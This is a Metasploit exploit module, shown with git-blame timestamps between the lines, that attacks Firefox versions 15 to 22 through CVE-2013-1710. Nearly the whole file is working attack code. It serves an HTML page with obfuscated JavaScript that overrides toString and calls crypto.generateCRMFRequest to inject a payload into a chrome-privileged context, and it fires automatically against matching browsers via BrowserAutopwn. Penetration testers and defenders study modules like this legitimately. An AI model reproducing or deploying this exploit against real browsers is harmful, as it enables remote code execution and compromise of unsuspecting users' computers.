2014-08-15 20:08:10 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-08-15 20:08:10 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
2014-08-15 21:54:30 +00:00
|
|
|
require 'rex/exploitation/jsobfu'
|
2014-08-15 20:08:10 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-08-15 20:08:10 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
2014-08-15 21:28:21 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
2014-08-15 20:08:10 +00:00
|
|
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
|
|
|
|
|
2014-08-15 21:28:21 +00:00
|
|
|
autopwn_info({
|
|
|
|
|
:ua_name => HttpClients::FF,
|
2014-08-15 21:39:36 +00:00
|
|
|
:ua_minver => "15.0",
|
2014-08-15 22:00:58 +00:00
|
|
|
:ua_maxver => "22.0",
|
2014-08-15 21:28:21 +00:00
|
|
|
:javascript => true,
|
2014-08-15 21:32:06 +00:00
|
|
|
:rank => ExcellentRanking
|
2014-08-15 21:28:21 +00:00
|
|
|
})
|
|
|
|
|
|
2014-08-15 20:08:10 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2014-08-15 21:28:21 +00:00
|
|
|
'Name' => 'Firefox toString console.time Privileged Javascript Injection',
|
2014-08-15 20:08:10 +00:00
|
|
|
'Description' => %q{
|
2014-08-15 22:00:58 +00:00
|
|
|
This exploit gains remote code execution on Firefox 15-22 by abusing two separate
|
2014-08-15 20:08:10 +00:00
|
|
|
Javascript-related vulnerabilities to ultimately inject malicious Javascript code
|
|
|
|
|
into a context running with chrome:// privileges.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [
|
|
|
|
|
'moz_bug_r_a4', # discovered CVE-2013-1710
|
2014-08-15 22:00:58 +00:00
|
|
|
'Cody Crews', # discovered CVE-2013-1670
|
2014-08-15 20:08:10 +00:00
|
|
|
'joev' # metasploit module
|
|
|
|
|
],
|
2014-08-15 22:00:58 +00:00
|
|
|
'DisclosureDate' => "May 14 2013",
|
2014-08-15 20:08:10 +00:00
|
|
|
'References' => [
|
2014-08-27 01:35:17 +00:00
|
|
|
['CVE', '2013-1710'] # chrome injection
|
2014-08-15 20:08:10 +00:00
|
|
|
],
|
|
|
|
|
'Targets' => [
|
|
|
|
|
[
|
|
|
|
|
'Universal (Javascript XPCOM Shell)', {
|
|
|
|
|
'Platform' => 'firefox',
|
|
|
|
|
'Arch' => ARCH_FIREFOX
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
[
|
|
|
|
|
'Native Payload', {
|
|
|
|
|
'Platform' => %w{ java linux osx solaris win },
|
|
|
|
|
'Arch' => ARCH_ALL
|
|
|
|
|
}
|
|
|
|
|
]
|
|
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'BrowserRequirements' => {
|
|
|
|
|
:source => 'script',
|
|
|
|
|
:ua_name => HttpClients::FF,
|
2014-08-15 22:00:58 +00:00
|
|
|
:ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }
|
2014-08-15 20:08:10 +00:00
|
|
|
}
|
|
|
|
|
))
|
|
|
|
|
|
|
|
|
|
register_options([
|
2014-08-15 21:02:26 +00:00
|
|
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
|
2014-08-15 20:08:10 +00:00
|
|
|
], self.class)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
|
|
|
send_response_html(cli, generate_html(target_info))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def generate_html(target_info)
|
2014-08-15 21:54:30 +00:00
|
|
|
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
|
|
|
|
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
|
|
|
|
|
2014-09-22 04:45:59 +00:00
|
|
|
js = js_obfuscate %Q|
|
2014-08-15 21:54:30 +00:00
|
|
|
var opts = #{JSON.unparse(opts)};
|
|
|
|
|
var key = opts['#{key}'];
|
|
|
|
|
var y = {}, q = false;
|
|
|
|
|
y.constructor.prototype.toString=function() {
|
|
|
|
|
if (q) return;
|
|
|
|
|
q = true;
|
|
|
|
|
crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");
|
|
|
|
|
return 5;
|
|
|
|
|
};
|
|
|
|
|
console.time(y);
|
2014-09-22 04:45:59 +00:00
|
|
|
|
|
2014-08-15 20:08:10 +00:00
|
|
|
|
|
|
|
|
%Q|
|
2014-08-15 21:54:30 +00:00
|
|
|
<!doctype html>
|
|
|
|
|
<html>
|
|
|
|
|
<body>
|
|
|
|
|
<script>
|
|
|
|
|
#{js}
|
|
|
|
|
</script>
|
|
|
|
|
#{datastore['CONTENT']}
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
2014-08-15 20:08:10 +00:00
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
